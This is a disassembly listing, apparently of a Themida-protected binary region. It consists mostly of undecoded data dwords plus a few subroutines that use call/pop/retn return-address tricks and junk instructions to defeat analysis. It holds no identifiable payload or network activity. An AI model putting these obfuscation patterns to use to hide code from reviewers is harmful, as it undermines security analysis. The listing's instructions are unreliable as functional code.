		dd 0B03B0000h, 2F2D74Bh, 5FEAB1ECh, 0BD8B965Bh,	6122319h
		dd 0BD0CB5FFh, 81660615h, 0FF69FBEBh, 122E2995h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 0E940EA58h, 0Ch, 7DA71181h, 0A9DBB13Fh, 9635604Ch, 1189BD83h
		dd 0F000612h, 7084h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 8EF0C7F3h, 0C9DE27C3h
		dd 0A5958960h, 0E806122Fh, 6, 0FAB024E8h, 8D295D12h, 6121785h
		dd 8950615Fh, 6A2434h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 276FFEC3h, 0C5C541CAh, 7E901h, 32960000h
		dd 3DDAC975h, 0CB5FF1Bh, 8B0615BDh, 120B1DBDh, 0A595FF06h
		dd 8B06122Ah, 121E459Dh, 0CB5FF06h, 660615BDh, 603CD8BBh
		dd 0FE9FCh, 700C0000h, 0F16911EBh, 0E2DC9B26h, 3446AF8Fh
		dd 95FF616Ch, 6121BB1h,	26E98D29h, 0BD830612h, 6122A41h
		dd 58840F02h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 9DABC352h, 18A9858Bh
		dd 81660612h, 0E87AFDCFh, 7, 6B632D90h,	5B219E94h, 6A0000C6h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 18C6C351h, 0C7437DA3h, 12030185h,	6, 0E1958900h
		dd 0E906122Ch, 0FFFFF38Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 71C35343h, 9D8B059Dh,	6120899h, 6AC18Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0F3327CC3h, 47ED32BEh, 0B70FD22Ch, 65858DD8h, 6A061200h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 7680C356h, 4C14EB85h, 0BB66B29Dh,	529060FEh
		dd 9E8h, 8B5A3400h, 2E674419h, 6160E0A5h, 51505F5Bh, 905F5F56h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0A0C35747h
		dd 6A54D4h, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 16h,	7DC35747h, 0BF66E6E2h, 1510321h, 121DED85h, 6A5B06h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 64C35242h
		dd 84D87714h, 5E8600Fh,	11000000h, 0A8132D00h, 3075BD8Bh
		dd 8D5B0612h, 1696DF85h, 68F0F06h, 8B000000h, 1225C5BDh
		dd 5C08306h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	5AC35747h, 393F35FBh, 0E990A915h, 0Ah, 0BE7B9358h
		dd 0A403EB8Ah, 66506B5Ch, 902F7DBBh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 90C35242h, 29771B95h, 8BD9BFB7h
		dd 0F38166FCh, 6AA0FBh,	10E9BD2Bh, 9D090612h, 6122A3Dh
		dd 0E380006Ah, 5595FF2Ch, 6A06120Bh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0A813C352h
		dd 5402CA3Eh, 9BCA8D8Dh, 6A0615h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 8BCD42C3h, 75AB5BFAh
		dd 0FFFA8B66h, 0DDBD8BD1h, 83061226h, 120EE9BDh, 850F0106h
		dd 51h,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h
		dd 79C35545h, 88EA5051h, 6870Fh, 9D8B0000h, 6120F09h, 0BF66026Ah
		dd 57508002h, 2404895Fh, 89BD8960h, 6106120Bh, 2CD595FFh
		dd 6E90612h, 18000000h,	21B6CF84h, 0DF7E9C4h, 0E80000h
		dd 5D000000h, 96E9ED81h, 6A0616h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 0F4E522C3h, 10E9818Fh
		dd 7B000000h, 1045ECF6h, 0B663897h, 0BFA92C14h,	60EABE5Bh
		dd 1C8DB533h, 8C0F0612h, 2, 0F616160h, 890FDFB7h, 1, 8F858DF5h
		dd 6A061596h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 697C356h, 0F88B5045h, 6A240489h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 2CCEC352h, 92EBDB8Bh, 120D6DD3h, 17258D09h
		dd 0FF640612h, 35h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 394770F8h, 0D59D8B4Dh
		dd 64061207h, 2589h, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 3CFF7C3h, 0F419589h
		dd 8E90612h, 0AE000000h, 0FD1B6BE8h, 0FF96415Dh, 12123585h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 5335B7EFh, 32F05B29h, 0FE8h, 0BF590D00h
		dd 26CDBF0Bh, 146E4CEFh, 20829081h, 1385BD8Bh, 6A5F0612h
		dd 15BD8BFFh, 0FF06120Fh, 1229B1B5h, 0C7816606h, 95FF7355h
		dd 6121475h, 110E9h, 56C8BB00h,	0B05466h, 0E6DABF0Fh, 21B58970h
		dd 0E4061220h, 5DBD8971h, 3C06121Bh, 0EE830F61h, 80000000h
		dd 0B60FDADFh, 5E9C8h, 5E9D0000h, 0BA10B9D1h, 6, 0E8DA8B66h
		dd 9, 0F4F0CDB9h, 0F3A73728h, 0A3BB661Dh, 0C18B5F13h, 0E8C1DA8Ah
		dd 0BDBD8B04h, 66061219h, 5E9E2F7h, 54000000h, 3F315ADAh
		dd 9D89C82Bh, 6121605h,	6E9D18Bh, 8B000000h, 1232A9BDh
		dd 29858B06h, 89061228h, 12159D85h, 7C08306h, 781BD8Bh
		dd 0BB660612h, 0C083A866h, 899D3100h, 60061200h, 8B616060h
		dd 1207C99Dh, 0BD8B6106h, 6120F4Dh, 0FD03B61h, 1883h, 6E900h
		dd 32140000h, 215EADFBh, 48E9h,	0BD8D3100h, 8B061208h
		dd 198D8BF9h, 0F06121Eh, 688h, 799D0B00h, 83061221h, 840F01E1h
		dd 25h,	19A583F8h, 0FE06121Eh, 6810Fh, 9D8B0000h, 6122DBDh
		dd 28299589h, 0BD0B0612h, 612286Dh, 0E9h, 0EEB58D00h, 9061615h
		dd 1208E985h, 6A006A06h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0DA97C356h,	80E62CBBh
		dd 95FFCFD7h, 61229D1h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 61C35646h, 7A1B9h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 0E183FC3Dh, 0FFB8BFCh, 38Dh,	0DBB70F00h, 55006AFCh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 925069DEh, 3FEA119Ah, 0C02BD484h, 43F48ABFh,	0BA37h
		dd 0BF660000h, 33AD099Fh, 3E8D1C2h, 4E983D0h, 6AF475h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0DD381C3h, 88h, 2019BD89h, 958B0612h, 6122DCDh, 31BD8D8Bh
		dd 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 6C9931C3h, 2DB59D8Bh, 8D0F0612h, 6, 29F18589h
		dd 8B500612h, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 5FEFE1BFh, 57006A47h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 8B666A5Ah, 19BD83DFh, 61214h, 61840Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 58F021C3h, 7345EF81h, 0B858FCh, 66000000h
		dd 8B7232BBh, 1222EDBDh, 4B8D8D06h, 0F06124Eh, 0E1FFFAB7h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0DFC35747h
		dd 669025C0h, 83DFBF0Fh, 120011BDh, 840F0006h, 449h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0F1C35646h, 5E960h
		dd 0EBE70000h, 6675612Eh, 0F61FE8Bh, 1684h, 11E900h, 0BA870000h
		dd 415C5A07h, 75028567h, 5D98BE19h, 83F0D00Eh, 120011BDh
		dd 840F0106h, 410h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 0FCC35747h, 89BC8C8Ch, 1231F58Dh, 0FAB70F06h
		dd 11BD83h, 0F030612h, 3A586h, 56006A00h, 3E8h,	0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 0F9DDDA69h
		dd 0F59D8960h, 6606122Bh, 6AD98Ch, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 29CF39C3h, 1200059Dh
		dd 4E18006h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	0FBC35141h, 72DC8BEFh, 0E82A963Ah, 23BD9D89h, 0C90A0612h
		dd 107840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 6E1006C3h, 0B568A150h, 0B9BBB66h
		dd 858BFA8Ah, 61224CDh,	30E99D8Bh, 0BB660612h, 8533C99Bh
		dd 612248Dh, 50FBBF0Fh,	10E8h, 0FFD1AC00h, 21D3A6EBh, 660983BFh
		dd 725F940Ah, 0FA8B666Bh, 2404895Fh, 25FD9529h,	8B660612h
		dd 6A006AF8h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 3316C355h, 8A0FE597h, 0
; ---------------------------------------------------------------------------
		push	7EC1B88Dh
		push	edi
		jl	$+6
		pop	ebx
		xor	dword ptr [esp], 7EDEBB72h
		push	0
		push	esi
		call	sub_5C57D7
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C57D7	proc near		; CODE XREF: Themida_:005C57CFp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_5C57D7	endp

; ---------------------------------------------------------------------------
		rcr	byte ptr [ebx+59h], 8Dh
		imul	dword ptr [eax+1FA71312h]
		call	dword ptr [ebp+6123031h]
		jno	$+6
		mov	ebx, 1FC81ED2h
		mov	[ebp+615BD0Ch],	eax
		push	0
		push	ebp
		call	sub_5C5813
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C5813	proc near		; CODE XREF: Themida_:005C580Bp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5C5813	endp

; ---------------------------------------------------------------------------
		db 44h
		dd 10007E16h, 0B2E9EF98h, 8A000001h, 4858BD9h, 0E90615BDh
		dd 5, 0D94AD576h, 1800C728h, 6A000000h,	3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 1159C356h
		dd 51F18160h, 801BCE6Fh, 8B6157E6h, 122C7D9Dh, 8B58B06h
		dd 6A0615BDh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 96D2C355h, 12E9h, 0DBFF8100h
		dd 4B6F92AFh, 0E210CA74h, 0AF41D4BBh, 319FDD58h, 1226799Dh
		dd 99858B06h, 6A061223h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 67C7C351h, 26C680FBh
		dd 81E40092h, 5931C3DBh, 5FF55622h, 0DE90689h, 0F6000000h
		dd 6F2FC5B3h, 1BD3808Eh, 836CBE85h, 24CD858Bh, 0B70F0612h
		dd 89DF8BDEh, 9D8B0446h, 6121D61h, 8428BF50h, 348946A9h
		dd 57006A24h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 8166F08Eh, 0FF4185DFh, 15BD04B5h, 686DB306h
		dd 50764D15h, 5325BB50h, 815B2AEDh, 4EEA2434h, 6A5069h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 95255FC3h, 0F9076FDEh, 899B40D7h, 1202D995h,	0C858D06h
		dd 0E80615BDh, 13h, 78F4402Ah, 4322EE34h, 0F4A722AAh, 0CCD418C1h
		dd 894852EFh, 12329DB5h, 0BD895B06h, 6120EBDh, 0DE850h
		dd 0D8640000h, 52AB022Bh, 17F20A8Ch, 5FA7F4DDh,	0E9240489h
		dd 10h,	0C7F511DFh, 6D94D052h, 58686EB8h, 0A2977ABCh, 303195FFh
		dd 0B70F0612h, 0B50961DAh, 61228A5h, 1185C7h, 30612h, 0B5890000h
		dd 6121375h, 0BD0CBD83h, 0F000615h, 4984h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
		dd 0DA1DA7F1h, 6E829h, 98740000h, 0D761843h, 1AD5BD01h
		dd 0E95F0612h, 2Dh, 0DE9h, 824C000h, 0AF8D815Bh, 7F720B54h
		dd 3050C5F5h, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 0A8BACE61h, 0EE59D0Bh, 0B5890612h
		dd 6121C91h, 11BD83h, 0F030612h, 4A085h, 83FB8B00h, 15BD0CBDh
		dd 840F0006h, 491h, 2A899D03h, 9D8B0612h, 612346Dh, 0BD0CB5FFh
		dd 870F0615h, 6, 3105BD89h, 95FF0612h, 6122029h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 1FC35242h, 25558AA8h
		dd 1FD1BD8Bh, 0B58B0612h, 615BD00h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 23C35141h, 0C0FCADC1h, 106C7h
		dd 6A0001h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 78C1D4C3h, 0E9CEB3FBh, 11h, 1AF5B288h, 920FC6CBh
		dd 4095DF8Fh, 22A0D269h, 0BB665035h, 3489F5A9h,	51006A24h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 0CB5FF63h, 6A0615BDh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 2309C351h, 122D119Dh
		dd 0E195FF06h, 0F06121Ah, 288h,	8BF98B00h, 15BD00B5h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 0E86BD79Ah, 148C0FBEh, 0F000000h, 0E8Fh, 9E900h, 0F9FC0000h
		dd 93C59F6Eh, 8BE7AA56h, 12303985h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 78C1D43Bh
		dd 868993FBh, 0C4h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 48C35141h, 0B501DA02h, 6122A61h, 2DCD958Bh
		dd 6A0612h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 34961CC3h, 507136BCh, 4C2835Fh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 1AC35343h, 0C8BE4970h
		dd 24A1B531h, 50890612h, 0EA858D20h, 8B0615D0h,	1223E99Dh
		dd 0B8868906h, 89000000h, 120B4185h, 6AFC06h, 2BE99D8Bh
		dd 0B5FF0612h, 615BD0Ch, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 17h, 0DDC35141h, 0FF5278B2h, 122CD595h, 0A410BB06h
		dd 840F2DB2h, 3, 50DF8B66h, 6A243489h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8BBFC357h
		dd 121A9DBDh, 0CB5FF06h, 6A0615BDh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 6185C351h
		dd 19BD8B22h, 0FF061229h, 122E2995h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 2147A8F2h
		dd 15BD8Bh, 0BD830612h,	6121189h, 5B840F00h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 2857C352h, 68D09620h, 738A96DAh, 0EE950h
		dd 10510000h, 7D4E7B03h, 0E1332880h, 8DF63A52h,	6A243489h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 5BDFC350h, 0B5FF5F52h, 615BD0Ch, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0C1C35242h, 0A595FF11h
		dd 6A06122Ah, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 833CC350h, 0E90B5AB4h,	6, 0D76D4DA7h
		dd 0B5FFEA94h, 615BD0Ch, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 14h, 4C35545h, 0B7E78166h,	0B195FFBAh, 106121Bh
		dd 12157D85h, 41BD8306h, 206122Ah, 97840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 43E152C3h, 1D458589h, 858B0612h, 61218A9h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 76C35646h, 50FD9420h
		dd 2D9D8B46h, 0C606122Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 816033C3h, 49FF8DF3h
		dd 0CD958944h, 6106122Ah, 12E960h, 8A80000h, 684D58FFh
		dd 74BEDD31h, 3A0B7CBFh, 97B82C15h, 185C761h, 61203h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 0E43C352h, 6E8DEh, 8B240000h, 0B95F21F3h
		dd 5FA1E780h, 196E6CBFh, 0F399E93Bh, 6AFFFFh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 5FB0AC3h
		dd 58555F6Dh, 602A3DA3h, 33F5B50Bh, 95290612h, 61218ADh
		dd 8AC18B61h, 65858DF9h, 6A061200h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 3E1FC356h
		dd 81AED277h, 6DD9C8DBh, 0C810F64h, 0F000000h, 689h, 99D0300h
		dd 90061229h, 0B5F173BBh, 8B665056h, 6A90FBh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 7F47DC3h
		dd 0AA97124h, 6A006Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0BD9E78C3h, 5BCA4149h, 6AFC8Ah, 2C2DBD8Bh, 858D0612h
		dd 616A732h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	66C35747h, 0E59D8938h, 83061227h, 9D8905C0h, 6120B51h
		dd 14E890h, 0D0170000h,	0E65B8723h, 0CBEDCEEAh,	44C8DD43h
		dd 0C26DE6E4h, 8B669C02h, 66505FF8h, 6A90DF8Bh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 110BC350h, 95299409h, 6122849h, 21359D8Bh, 6A0612h
		dd 0C98D8960h, 66061224h, 61ECB6BFh, 0DF81006Ah, 7C6C1059h
		dd 0B5595FFh, 0D98B0612h, 8DDF8B66h, 159BCA8Dh,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 9A0FDEB5h, 27739F6Ch, 5181BF8Eh, 0D1FF429Dh,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 16C35545h, 11784779h
		dd 42EA02B8h, 0ED85299Bh, 89061219h, 122D01B5h,	0E9BD8306h
		dd 106120Eh, 0AE850Fh, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 9FBAAFC3h, 30DDBBB1h
		dd 0A0BCBFABh, 26A3F9Fh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 17h, 0B0C35646h, 8BB3E57Bh, 1212219Dh, 7BB79006h
		dd 0E8F0F50h, 0E8000000h, 6, 6BFD3188h,	6160B81Eh, 6A905Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 6D4DAC3h, 0B98AC34h,	0FF85E380h, 122CD595h, 0E8535006h
		dd 11h,	6F8C4DB4h, 0A14E57A5h, 68524FFEh, 6476914Ch, 5F5B5B4Eh
		dd 0E52E9h, 0E800h, 815D0000h, 16A73CEDh, 860F6006h, 6
		dd 1519B529h, 6E90612h,	9D000000h, 6D266B25h, 8E0F6102h
		dd 3, 8BFEBF0Fh, 1215A99Dh, 8F858D06h, 6A061596h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 60D3C351h, 12E8h, 635A1C00h,	5390F8AEh, 20660FDAh, 0D9BE6824h
		dd 898E3E84h, 12202195h, 9D895B06h, 6121D69h, 0CB816661h
		dd 0F503398h, 480h, 29BF6600h, 240489B1h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Ch, 4C35545h, 0F1363CF5h
		dd 73E03115h, 0B99D8953h, 5F06122Ch, 35FF64h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 8119C353h, 37917D7h, 25896457h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5C6307
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C6307	proc near		; CODE XREF: Themida_:005C62FFp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5C6307	endp

; ---------------------------------------------------------------------------
		sub	edx, [edx-291D8EDh]
		mov	dl, 66h
		mov	edi, edx
		inc	dword ptr [ebp+6121235h]
		push	0
		push	edx
		call	sub_5C6332
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C6332	proc near		; CODE XREF: Themida_:005C632Ap

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5C6332	endp

; ---------------------------------------------------------------------------
		dw 0E6D6h
		dd 0BD0BF9FFh, 6120759h, 6AFF6Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 4E1245C3h, 0D6779F6h
		dd 81603E14h, 91F496E2h, 0BE959h, 0CFDC0000h, 24544A9Eh
		dd 92B8816Ch, 0BD8B6172h, 6120B61h, 31C5B5FFh, 6A0612h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 38A536C3h, 1FA9BD0Bh, 95890612h, 6122481h, 147595FFh
		dd 46E90612h, 8B000001h, 1222199Dh, 100B006h, 12085595h
		dd 5670E606h, 25E9BD89h, 0E45F0612h, 84BF6671h,	0F613CC4h
		dd 12083h, 99D8900h, 0F061231h,	0E860C8B6h, 0Ah, 6112566Bh
		dd 4275C5B1h, 0C88A276Ch, 6BA615Bh, 89000000h, 121091BDh
		dd 8B2DB306h, 0D98B66C1h, 0F04E8C1h, 68Dh, 85B58900h, 66061203h
		dd 8D89E2F7h, 6122D55h,	0EE8C82Bh, 9E000000h, 0AE58CAACh
		dd 16DAE867h, 6CE41A44h, 55958941h, 5F06121Dh, 9E9D18Bh
		dd 0B3000000h, 0F439AC03h, 0ED3B2063h, 11E9h, 0CE900h
		dd 6A6C0000h, 65DE6B3Dh, 0A50910F7h, 858B0E41h,	6122665h
		dd 0EE9F1B7h, 6E000000h, 520E6FAFh, 25BE1C91h, 7CCBE80Eh
		dd 7C08397h, 29399D0Bh,	0C0830612h, 8DEF8100h, 3B733697h
		dd 20830FD0h, 89000000h, 1218D595h, 57E906h, 10E90000h
		dd 44000000h, 156C18E9h, 315B180Eh, 0F4A49B4Eh,	8BF058ACh
		dd 1214F58Dh, 6860F06h,	81000000h, 0CADADCEBh, 1E1834Ah
		dd 27840Fh, 0B5890000h,	61218F1h, 14F5A583h, 2BFE0612h
		dd 122ED1BDh, 77DF8006h, 26659589h, 0B5890612h,	612161Dh
		dd 0E9h, 16B58D00h, 8106161Fh, 0A3259ACBh, 66006A29h, 0BD0BDF8Bh
		dd 61211F9h, 29D195FFh,	81660612h, 0B9E77CD7h, 7F8h, 13E9h
		dd 0EDE11400h, 4556E474h, 0D88EB7A2h, 6CBC6AA5h, 5CD0AAD9h
		dd 6AFCE183h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 584C355h, 73223E50h, 0E99D8BD8h
		dd 0FC061226h, 0B8h, 0FB8B6600h, 6AD22Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 7E4D3EC3h
		dd 2FC3D68Dh, 0C233AD7Dh, 0D003E8D1h, 7504E983h, 50006AF4h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 628077ACh, 62998FFCh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 15h, 1EC35545h, 81666084h,	619BDCF1h, 880Dh
		dd 0F593BB00h, 958B7150h, 6122DCDh, 5BB1B352h, 31BD8D8Bh
		dd 7E80612h, 3B000000h,	8CC7EF67h, 8D8970E9h, 6120391h
		dd 8D89605Bh, 6120C21h,	8B5061F8h, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	5BFE8B57h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 0ADC35141h,	5F0422C9h, 0BD83CA22h
		dd 6121419h, 0C3840F00h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0AC52C353h
		dd 6E82DE7Eh, 1A9D8589h, 10E80612h, 5B000000h, 26BE1EAh
		dd 0DAF1B56Bh, 0FCD986D5h, 0B37EE54Ch, 0B85B3Ch, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 0E3E4C351h, 80BF4F86h, 0E958BC76h, 0Ah, 310D321Eh
		dd 3F9F08C8h, 8D8DF3E3h, 6124E4Bh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 86C35646h, 5FDD983Eh, 31576145h
		dd 121DFD8Dh, 0E1FF5F06h, 0EE8h, 4DB1F900h, 8F093AC7h
		dd 0DDF10E4Ch, 89A853FEh, 1208A595h, 0BD835F06h, 6120011h
		dd 46840F00h, 31000004h, 121A5585h, 11BD8306h, 1061200h
		dd 44E840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 0BD2B4BC3h, 6121F05h, 1FF9B509h
		dd 0BD830612h, 6120011h, 0E3860F03h, 0B000003h,	1211B99Dh
		dd 6E806h, 0F0E10000h, 0D87ACF98h, 0BD89605Fh, 61217E9h
		dd 6AD98C66h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 45F1C351h, 802D24C3h, 6A04E1h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0A3D579C3h, 0AFAB70Fh, 60840FC9h, 0E9000001h, 13h, 0AB95207Dh
		dd 0B7C6C35Fh, 44B0EED2h, 8220D48Ch, 8BF96A10h,	1230199Dh
		dd 0CD858B06h, 6A061224h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 24A6C353h, 97E92DE6h
		dd 337FBC4Bh, 12248D85h, 75950906h, 50061221h, 489F4B7h
		dd 6A006A24h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 2003C353h, 9589101Bh, 612284Dh
		dd 4E8h, 1F03FF00h, 8B665000h, 24448BFAh, 8BCFB304h, 52505600h
		dd 13E8h, 544B8F00h, 0CD591BC7h, 0ABB1AF10h, 0C5923D1Bh
		dd 50D648E8h, 0E9310F5Fh, 13h, 4EDC27E1h, 7CA5B258h, 92055E29h
		dd 0EE7E3C7Dh, 5AE41B04h, 44895F58h, 51510424h,	8F0Fh
		dd 5F5B0000h, 0F3816658h, 95FF168Ah, 6123031h, 2E41BD8Bh
		dd 85890612h, 615BD0Ch,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0F7C35141h, 0E8BD1A0h, 56996B76h, 0E95BA7B3h
